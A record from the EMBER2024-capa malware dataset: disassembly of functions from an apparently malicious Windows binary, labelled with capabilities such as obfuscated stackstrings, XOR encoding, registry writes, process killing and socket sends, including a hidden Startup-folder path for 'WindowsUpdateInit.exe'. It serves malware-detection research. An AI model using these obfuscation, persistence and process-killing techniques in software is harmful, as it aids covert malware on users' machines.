joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ac097
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xb4
mov eax, 0x5b979e
call fcn.005b7381
mov eax, ecx
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp + 0x34]
lea esi, [ebp + 8]
lea edi, [ebp - 0x20]
mov dword [ebp - 0xb8], eax
movsd dword es:[edi], dword [esi]
xor ebx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0x30]
push ebx
push ebx
lea edi, [ebp - 0x20]
mov dword [ebp - 4], ebx
mov eax, dword [ecx]
push edi
push ebx
push edx
push ecx
call dword [eax + 0x10]
mov dword [esi], eax
test eax, eax
js 0x4ac1c9
cmp word [ebp - 0x20], 8
jne 0x4ac1c9
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x4ac0f8
sub ecx, edx
sar ecx, 1
cmp ecx, dword [ebp + 0x2c]
ja 0x4ac132
cmp dword [ebp + 0x2c], 7
lea esi, [ecx + ecx]
push esi
push dword [ebp - 0x18]
lea edi, [ebp + 0x18]
mov dword [ebp + 0x28], ecx
cmova edi, dword [ebp + 0x18]
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
xor eax, eax
mov word [esi + edi], ax
jmp 0x4ac14a
push dword [ebp - 0x18]
mov byte [ebp - 0xb8], bl
push dword [ebp - 0xb8]
push ecx
lea ecx, [ebp + 0x18]
call fcn.004baa61
push 0x84
lea eax, [ebp - 0xa4]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0x18]
cmp dword [ebp + 0x2c], 7
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa4], ecx
lea ecx, [ebp - 0xa4]
cmova eax, dword [ebp + 0x18]
push 3
push eax
call fcn.004b7b9c
mov esi, dword [ebp - 0xbc]
mov ecx, esi
mov byte [ebp - 4], 1
push dword [ebp - 0xa4]
call fcn.004a120c
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 2
cmp dword [ebp - 0xa4], eax
je 0x4ac1ba
push dword [ebp - 0xa4]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea ecx, [ebp + 0x18]
call fcn.004b764a
mov eax, esi
jmp 0x4ac265
mov byte [ebp - 0xb4], 0x47
mov byte [ebp - 0xb3], 0x6f
mov byte [ebp - 0xb2], 0x72
mov byte [ebp - 0xb1], 0x76
mov byte [ebp - 0xb0], 0x7b
mov byte [ebp - 0xaf], 0x22
mov byte [ebp - 0xae], 0x52
mov byte [ebp - 0xad], 0x74
mov byte [ebp - 0xac], 0x71
mov byte [ebp - 0xab], 0x72
mov byte [ebp - 0xaa], 0x67
mov byte [ebp - 0xa9], 0x74
mov byte [ebp - 0xa8], 0x76
mov byte [ebp - 0xa7], 0x7b
mov byte [ebp - 0xa6], bl
mov al, byte [ebp - 0xb4]
sub byte [ebp + ebx - 0xb4], 2
inc ebx
cmp ebx, 0xe
jb 0x4ac237
mov ecx, dword [ebp - 0xbc]
lea eax, [ebp - 0xb4]
push eax
call fcn.004a120c
lea ecx, [ebp + 0x18]
call fcn.004b764a
mov eax, dword [ebp - 0xbc]
call fcn.005b7330
ret
Function at 0x4af67f
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
push 0x3c
mov eax, 0x5b9b41
call fcn.005b7381
mov byte [ebp - 0x35], dl
mov esi, ecx
mov dword [ebp - 4], 1
xor ebx, ebx
mov dword [ebp - 0x48], 0x7b
mov edx, ebx
mov byte [ebp - 0x44], 0x29
mov byte [ebp - 0x43], 0x3e
mov byte [ebp - 0x42], 0x3c
mov byte [ebp - 0x41], 0x24
mov byte [ebp - 0x40], 0x3f
mov byte [ebp - 0x3f], 0x2c
mov byte [ebp - 0x3e], 0x34
mov byte [ebp - 0x3d], 0x29
mov byte [ebp - 0x3c], 0x3f
mov al, byte [ebp - 0x44]
mov byte [ebp - 0x3b], bl
mov al, byte [ebp + edx - 0x44]
mov ecx, dword [ebp - 0x48]
xor cl, al
mov byte [ebp + edx - 0x44], cl
inc edx
cmp edx, 9
jb 0x4af6cc
lea eax, [ebp - 0x44]
mov byte [ebp - 0x3b], bl
push eax
lea ecx, [ebp - 0x30]
call fcn.004a120c
movzx edx, byte [ebp - 0x35]
lea ecx, [ebp - 0x30]
push ebx
mov dword [ebp - 0x18], esi
lea eax, [ebp + 0x20]
lea esi, [ebp - 0x34]
sub edx, 0x7fffffff
cmp dword [ebp - 0x1c], 0xf
push esi
cmova ecx, dword [ebp - 0x30]
cmp dword [ebp + 0x34], 0xf
push ebx
cmova eax, dword [ebp + 0x20]
push 0xf003f
push ebx
push ecx
push ebx
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4af75a
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x18]
push 4
push ecx
push 4
lea eax, [ebp + 8]
cmova eax, dword [ebp + 8]
push ebx
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4af75a
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4af75c
mov ebx, eax
lea ecx, [ebp - 0x30]
call fcn.004a1505
lea ecx, [ebp + 8]
call fcn.004a1505
lea ecx, [ebp + 0x20]
call fcn.004a1505
mov eax, ebx
call fcn.005b7330
ret

Function at 0x4b0304
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
mov byte [ebp - 1], cl
mov dh, cl
mov byte [ebp - 2], dl
mov ecx, ebx
mov dword [ebp - 8], ecx
shr dl, cl
mov al, dh
xor al, bl
and dl, 1
test dl, dl
movzx ecx, al
movzx eax, bl
cmove ecx, eax
mov dword [ebp - 0xc], ecx
mov cl, dh
add cl, cl
mov al, cl
movzx ecx, cl
xor al, 0x1b
cmp byte [ebp - 1], 0
movzx edx, al
mov eax, dword [ebp - 0xc]
cmovge edx, ecx
mov ecx, dword [ebp - 8]
mov dh, dl
inc ecx
mov byte [ebp - 1], dl
mov dl, byte [ebp - 2]
mov bl, al
mov dword [ebp - 8], ecx
cmp ecx, 8
jl 0x4b031a
pop ebx
leave
ret
Function at 0x4b0362
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea edi, [ecx + 2]
mov dword [ebp - 0xc], 4
mov ch, byte [edi - 2]
mov al, byte [edi + 1]
mov cl, ch
mov bh, byte [edi - 1]
add cl, cl
mov byte [ebp - 1], al
mov al, cl
xor al, 0x1b
mov bl, byte [edi]
movzx edx, al
test ch, ch
movzx eax, cl
mov cl, bh
cmovns edx, eax
mov byte [ebp - 2], bl
add cl, cl
mov dword [ebp - 8], edx
mov al, cl
mov byte [ebp - 3], bh
xor al, 0x1b
mov byte [ebp - 4], ch
movzx edx, al
test bh, bh
movzx eax, cl
mov cl, bl
cmovns edx, eax
add cl, cl
mov al, cl
mov dword [ebp - 0x10], edx
xor al, 0x1b
cmp byte [ebp - 2], 0
movzx ebx, al
movzx eax, cl
cmovge ebx, eax
mov cl, byte [ebp - 1]
add cl, cl
mov al, cl
xor al, 0x1b
cmp byte [ebp - 1], 0
movzx edx, al
movzx eax, cl
cmovge edx, eax
mov eax, dword [ebp - 8]
movzx esi, al
movzx eax, dl
xor esi, eax
movzx eax, byte [ebp - 2]
xor esi, eax
movzx eax, byte [ebp - 3]
xor esi, eax
movzx eax, ch
xor esi, eax
movzx ecx, dl
mov edx, dword [ebp - 0x10]
movzx eax, bl
xor ecx, eax
shl esi, 8
movzx eax, byte [ebp - 1]
xor ecx, eax
movzx eax, byte [ebp - 3]
xor ecx, eax
movzx eax, byte [ebp - 4]
xor ecx, eax
movzx eax, dl
or esi, ecx
movzx ecx, bl
xor ecx, eax
shl esi, 8
movzx eax, byte [ebp - 2]
xor ecx, eax
movzx eax, byte [ebp - 1]
xor ecx, eax
movzx eax, byte [ebp - 4]
xor ecx, eax
mov eax, dword [ebp - 8]
or esi, ecx
movzx ecx, al
movzx eax, dl
shl esi, 8
xor ecx, eax
movzx eax, byte [ebp - 2]
xor ecx, eax
lea edi, [edi + 4]
movzx eax, byte [ebp - 1]
xor ecx, eax
movzx eax, byte [ebp - 3]
xor ecx, eax
or esi, ecx
sub dword [ebp - 0xc], 1
mov dword [edi - 6], esi
jne 0x4b0375
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4b0477
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
add ecx, 2
mov dword [ebp - 0xc], 4
push esi
mov dword [ebp - 8], ecx
push edi
mov al, byte [ecx - 2]
mov dl, 0xe
mov bl, byte [ecx + 1]
mov bh, byte [ecx]
mov byte [ebp - 2], al
mov al, byte [ecx - 1]
mov cl, bl
mov byte [ebp - 1], al
call fcn.004b0304
mov dl, 9
movzx edi, al
mov cl, bh
call fcn.004b0304
mov cl, byte [ebp - 1]
mov dl, 0xd
movzx eax, al
xor edi, eax
call fcn.004b0304
mov cl, byte [ebp - 2]
mov dl, 0xb
movzx eax, al
xor edi, eax
call fcn.004b0304
movzx eax, al
mov dl, 0xb
xor edi, eax
mov cl, bl
shl edi, 8
call fcn.004b0304
mov dl, 0xe
movzx esi, al
mov cl, bh
call fcn.004b0304
mov cl, byte [ebp - 1]
mov dl, 9
movzx eax, al
xor esi, eax
call fcn.004b0304
mov cl, byte [ebp - 2]
mov dl, 0xd
movzx eax, al
xor esi, eax
call fcn.004b0304
movzx eax, al
mov dl, 0xd
xor esi, eax
mov cl, bl
or edi, esi
shl edi, 8
call fcn.004b0304
mov dl, 0xb
movzx esi, al
mov cl, bh
call fcn.004b0304
mov cl, byte [ebp - 1]
mov dl, 0xe
movzx eax, al
xor esi, eax
call fcn.004b0304
mov cl, byte [ebp - 2]
mov dl, 9
movzx eax, al
xor esi, eax
call fcn.004b0304
movzx eax, al
mov dl, 9
xor esi, eax
mov cl, bl
or edi, esi
shl edi, 8
call fcn.004b0304
mov dl, 0xd
movzx esi, al
mov cl, bh
call fcn.004b0304
mov cl, byte [ebp - 1]
mov dl, 0xb
movzx eax, al
xor esi, eax
call fcn.004b0304
movzx eax, al
mov cl, byte [ebp - 2]
mov dl, 0xe
xor esi, eax
call fcn.004b0304
mov ecx, dword [ebp - 8]
movzx eax, al
xor esi, eax
or edi, esi
mov dword [ecx - 2], edi
add ecx, 4
sub dword [ebp - 0xc], 1
mov dword [ebp - 8], ecx
jne 0x4b048d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4b0770
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x631040]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [edx]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x18], eax
xor esi, esi
mov eax, dword [edx + 4]
push edi
mov edi, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [edx + 8]
mov ecx, esi
mov dword [ebp - 0x10], eax
mov eax, dword [edx + 0xc]
mov edx, dword [edi]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xc], eax
mov eax, dword [edx + ecx*4]
xor dword [ebp + ecx*4 - 0x18], eax
inc ecx
cmp ecx, 4
jl 0x4b07ab
mov eax, dword [edi + 4]
xor ecx, ecx
sub eax, edx
inc ecx
sar eax, 4
dec eax
mov dword [ebp - 0x20], ecx
cmp eax, ecx
jbe 0x4b0830
mov dword [ebp - 0x24], 0x10
mov ebx, edi
mov edi, esi
mov ecx, dword [ebp + edi*4 - 0x18]
call fcn.004b0149
mov dword [ebp + edi*4 - 0x18], eax
inc edi
cmp edi, 4
jl 0x4b07d6
lea ecx, [ebp - 0x18]
call fcn.004b01e7
lea ecx, [ebp - 0x18]
call fcn.004b0362
mov edi, dword [ebx]
mov ecx, esi
mov edx, dword [ebp - 0x24]
lea ebx, [edx + edi]
mov eax, dword [ebx + ecx*4]
xor dword [ebp + ecx*4 - 0x18], eax
inc ecx
cmp ecx, 4
jl 0x4b0803
mov ebx, dword [ebp - 0x1c]
add edx, 0x10
mov ecx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebx + 4]
sub eax, edi
sar eax, 4
dec eax
cmp ecx, eax
jb 0x4b07d4
mov ebx, dword [ebp - 0x28]
mov edi, esi
mov ecx, dword [ebp + edi*4 - 0x18]
call fcn.004b0149
mov dword [ebp + edi*4 - 0x18], eax
inc edi
cmp edi, 4
jl 0x4b0832
lea ecx, [ebp - 0x18]
call fcn.004b01e7
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
sub ecx, 0x10
mov eax, dword [ecx]
lea ecx, [ecx + 4]
xor dword [ebp + esi*4 - 0x18], eax
inc esi
cmp esi, 4
jl 0x4b0856
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov dword [ebx], eax
xor ecx, ebp
mov eax, dword [ebp - 0x14]
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x10]
pop edi
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0xc]
pop esi
mov dword [ebx + 0xc], eax
pop ebx
call fcn.004c233c
leave
ret
Function at 0x4b088b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x631040]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [edx]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx + 4]
push esi
mov esi, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [edx + 0xc]
mov edx, dword [esi + 4]
push edi
xor edi, edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], ebx
mov ecx, edi
mov dword [ebp - 0xc], eax
sub edx, 0x10
mov eax, dword [edx]
lea edx, [edx + 4]
xor dword [ebp + ecx*4 - 0x18], eax
inc ecx
cmp ecx, 4
jl 0x4b08ca
lea ecx, [ebp - 0x18]
call fcn.004b0276
lea ecx, [ebp - 0x18]
call fcn.004b018f
mov esi, dword [esi + 4]
mov eax, dword [ebp - 0x1c]
sub esi, dword [eax]
sar esi, 4
dec esi
sub esi, 1
je 0x4b0938
mov ebx, esi
shl ebx, 4
mov edx, dword [eax]
mov ecx, edi
add edx, ebx
mov eax, dword [edx + ecx*4]
xor dword [ebp + ecx*4 - 0x18], eax
inc ecx
cmp ecx, 4
jl 0x4b0905
lea ecx, [ebp - 0x18]
call fcn.004b0477
lea ecx, [ebp - 0x18]
call fcn.004b0276
lea ecx, [ebp - 0x18]
call fcn.004b018f
mov eax, dword [ebp - 0x1c]
sub ebx, 0x10
sub esi, 1
jne 0x4b08ff
mov ebx, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, dword [ecx + edi*4]
xor dword [ebp + edi*4 - 0x18], eax
inc edi
cmp edi, 4
jl 0x4b093a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov dword [ebx], eax
xor ecx, ebp
mov eax, dword [ebp - 0x14]
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x10]
pop edi
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0xc]
pop esi
mov dword [ebx + 0xc], eax
pop ebx
call fcn.004c233c
leave
ret

Function at 0x4b105b
Capabilities:
Terminate process

Disassembly:
push esi
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x4b1071
xor al, al
pop esi
ret
push ebx
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
pop esi
ret
Function at 0x4b108c
Capabilities:
Enumerate processes

Disassembly:
push 0x164
mov eax, 0x5ba058
call fcn.005b7381
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4b10d9
lea eax, [ebp - 0x154]
mov dword [ebp - 0x154], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x4b10eb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
lea ecx, [ebp + 8]
call fcn.004a1505
mov al, bl
call fcn.005b7330
ret
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004a126f
lea ecx, [ebp - 0x2c]
call fcn.004a341a
add esp, 0x18
lea ecx, [ebp + 8]
push eax
call fcn.004a119e
lea ecx, [ebp - 0x2c]
call fcn.004a1505
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004a120c
sub esp, 0x18
mov byte [ebp - 4], bl
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.004a126f
lea ecx, [ebp - 0x170]
call fcn.004a341a
add esp, 0x18
lea ecx, [ebp - 0x2c]
push eax
call fcn.004a119e
lea ecx, [ebp - 0x170]
call fcn.004a1505
lea edx, [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.004a16fa
test al, al
je 0x4b1174
mov ecx, dword [ebp - 0x14c]
call fcn.004b105b
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004a1505
lea eax, [ebp - 0x154]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4b1118
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4b10db
Function at 0x4b119e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xc4
mov eax, 0x5ba0a2
call fcn.005b73ed
lea ecx, [ebp - 0x80]
call fcn.004b00e3
sub esp, 0x18
xor ebx, ebx
mov ecx, esp
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
push 0x6358b0
call fcn.004a126f
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x80]
call fcn.004a3056
sub esp, 0x18
mov byte [ebp - 4], 2
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xcc], esp
mov ecx, esp
push eax
call fcn.004a126f
mov byte [ebp - 4], 3
mov byte [ebp - 0xc8], 0x61
mov byte [ebp - 0xc7], 0x52
mov byte [ebp - 0xc6], 0x6e
mov byte [ebp - 0xc5], 0x68
mov byte [ebp - 0xc4], 0x77
mov byte [ebp - 0xc3], 0x74
mov byte [ebp - 0xc2], 0x78
mov byte [ebp - 0xc1], 0x74
mov byte [ebp - 0xc0], 0x6b
mov byte [ebp - 0xbf], 0x79
mov byte [ebp - 0xbe], 0x61
mov byte [ebp - 0xbd], 0x5c
mov byte [ebp - 0xbc], 0x6e
mov byte [ebp - 0xbb], 0x73
mov byte [ebp - 0xba], 0x69
mov byte [ebp - 0xb9], 0x74
mov byte [ebp - 0xb8], 0x7c
mov byte [ebp - 0xb7], 0x78
mov byte [ebp - 0xb6], 0x61
mov byte [ebp - 0xb5], 0x58
mov byte [ebp - 0xb4], 0x79
mov byte [ebp - 0xb3], 0x66
mov byte [ebp - 0xb2], 0x77
mov byte [ebp - 0xb1], 0x79
mov byte [ebp - 0xb0], 0x25
mov byte [ebp - 0xaf], 0x52
mov byte [ebp - 0xae], 0x6a
mov byte [ebp - 0xad], 0x73
mov byte [ebp - 0xac], 0x7a
mov byte [ebp - 0xab], 0x61
mov byte [ebp - 0xaa], 0x55
mov byte [ebp - 0xa9], 0x77
mov byte [ebp - 0xa8], 0x74
mov byte [ebp - 0xa7], 0x6c
mov byte [ebp - 0xa6], 0x77
mov byte [ebp - 0xa5], 0x66
mov byte [ebp - 0xa4], 0x72
mov byte [ebp - 0xa3], 0x78
mov byte [ebp - 0xa2], 0x61
mov byte [ebp - 0xa1], 0x58
mov byte [ebp - 0xa0], 0x79
mov byte [ebp - 0x9f], 0x66
mov byte [ebp - 0x9e], 0x77
mov byte [ebp - 0x9d], 0x79
mov byte [ebp - 0x9c], 0x7a
mov byte [ebp - 0x9b], 0x75
mov byte [ebp - 0x9a], 0x61
mov byte [ebp - 0x99], 0x5c
mov byte [ebp - 0x98], 0x6e
mov byte [ebp - 0x97], 0x73
mov byte [ebp - 0x96], 0x69
mov byte [ebp - 0x95], 0x74
mov byte [ebp - 0x94], 0x7c
mov byte [ebp - 0x93], 0x78
mov byte [ebp - 0x92], 0x5a
mov byte [ebp - 0x91], 0x75
mov byte [ebp - 0x90], 0x69
mov byte [ebp - 0x8f], 0x66
mov byte [ebp - 0x8e], 0x79
mov byte [ebp - 0x8d], 0x6a
mov byte [ebp - 0x8c], 0x4e
mov byte [ebp - 0x8b], 0x73
mov byte [ebp - 0x8a], 0x6e
mov byte [ebp - 0x89], 0x79
mov byte [ebp - 0x88], 0x33
mov byte [ebp - 0x87], 0x6a
mov byte [ebp - 0x86], 0x7d
mov byte [ebp - 0x85], 0x6a
mov byte [ebp - 0x84], bl
mov al, byte [ebp - 0xc8]
sub byte [ebp + ebx - 0xc8], 5
inc ebx
cmp ebx, 0x44
jb 0x4b13dd
sub esp, 0x18
lea eax, [ebp - 0xc8]
mov ecx, esp
mov edx, 0x63c950
push eax
call fcn.004b8af8
pop ecx
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 2
call fcn.004a31d6
lea ecx, [ebp - 0x2c]
call fcn.004a1505
lea ecx, [ebp - 0x80]
call fcn.004b012e
call fcn.005b733f
ret
Function at 0x4b3b18
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Send data
Send data on socket

Disassembly:
push 0x3c
mov eax, 0x5ba379
call fcn.005b7381
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edx, ebx
push 0xf
pop edi
mov dword [ebp - 0x40], edi
mov byte [ebp - 0x3c], 0x57
mov byte [ebp - 0x3b], 0x47
mov byte [ebp - 0x3a], 0x2a
mov byte [ebp - 0x39], 0x61
mov byte [ebp - 0x38], 0x37
mov byte [ebp - 0x37], 0x28
mov byte [ebp - 0x36], 0x36
mov byte [ebp - 0x35], 0x2b
mov byte [ebp - 0x34], 0x6e
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x4a
mov byte [ebp - 0x31], 0x48
mov byte [ebp - 0x30], 0x2e
mov byte [ebp - 0x2f], 0x34
mov byte [ebp - 0x2e], 0x6d
mov byte [ebp - 0x2d], 0x28
mov al, byte [ebp - 0x3c]
mov byte [ebp - 0x2c], bl
mov al, byte [ebp + edx - 0x3c]
mov ecx, dword [ebp - 0x40]
xor cl, al
mov byte [ebp + edx - 0x3c], cl
inc edx
cmp edx, 0x10
jb 0x4b3b79
sub esp, 0x18
mov byte [ebp - 0x2c], bl
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x44], esp
mov ecx, esp
push eax
call fcn.004a120c
sub esp, 0x18
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004a126f
lea eax, [ebp - 0x28]
mov byte [ebp - 4], bl
push eax
call fcn.004b0c63
cmp dword [ebp - 0x14], edi
lea eax, [ebp - 0x28]
push ebx
push dword [ebp - 0x18]
cmova eax, dword [ebp - 0x28]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4b3be2
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [ebp - 0x28]
call fcn.004a1505
lea ecx, [ebp + 8]
call fcn.004a1505
mov eax, edi
call fcn.005b7330
ret
Function at 0x4b5ca9
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 0x19
jb 0x4b5caf
pop edi
mov byte [esi + 0x1d], 0
lea eax, [esi + 4]
pop esi
ret

Function at 0x4b5cdc
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 0xb
jb 0x4b5ce2
pop edi
mov byte [esi + 0xf], 0
lea eax, [esi + 4]
pop esi
ret

Function at 0x4b5d00
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 6
jb 0x4b5d06
pop edi
mov byte [esi + 0xa], 0
lea eax, [esi + 4]
pop esi
ret

Function at 0x4b5d24
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0x11
pop ebx
lea eax, [edi + 4]
mov esi, eax
mov dl, byte [esi]
mov ecx, dword [edi]
xor cl, dl
mov byte [esi], cl
inc esi
sub ebx, 1
jne 0x4b5d31
mov byte [edi + 0x15], bl
pop edi
pop esi
pop ebx
ret

Function at 0x4b5d55
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 5
jb 0x4b5d5b
pop edi
mov byte [esi + 9], 0
lea eax, [esi + 4]
pop esi
ret

Function at 0x4b5d79
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 0xe
jb 0x4b5d7f
pop edi
mov byte [esi + 0x12], 0
lea eax, [esi + 4]
pop esi
ret

Function at 0x4b5dac
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0xc
pop ebx
lea eax, [edi + 4]
mov esi, eax
mov dl, byte [esi]
mov ecx, dword [edi]
xor cl, dl
mov byte [esi], cl
inc esi
sub ebx, 1
jne 0x4b5db9
mov byte [edi + 0x10], bl
pop edi
pop esi
pop ebx
ret

Function at 0x4b5e6e
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0xa
pop ebx
lea eax, [edi + 4]
mov esi, eax
mov dl, byte [esi]
mov ecx, dword [edi]
xor cl, dl
mov byte [esi], cl
inc esi
sub ebx, 1
jne 0x4b5e7b
mov byte [edi + 0xe], bl
pop edi
pop esi
pop ebx
ret

Function at 0x4b5e90
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0x1e
pop ebx
lea eax, [edi + 4]
mov esi, eax
mov dl, byte [esi]
mov ecx, dword [edi]
xor cl, dl
mov byte [esi], cl
inc esi
sub ebx, 1
jne 0x4b5e9d
mov byte [edi + 0x22], bl
pop edi
pop esi
pop ebx
ret

Function at 0x4b5ec1
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 3
jb 0x4b5ec7
pop edi
mov byte [esi + 7], 0
lea eax, [esi + 4]
pop esi
ret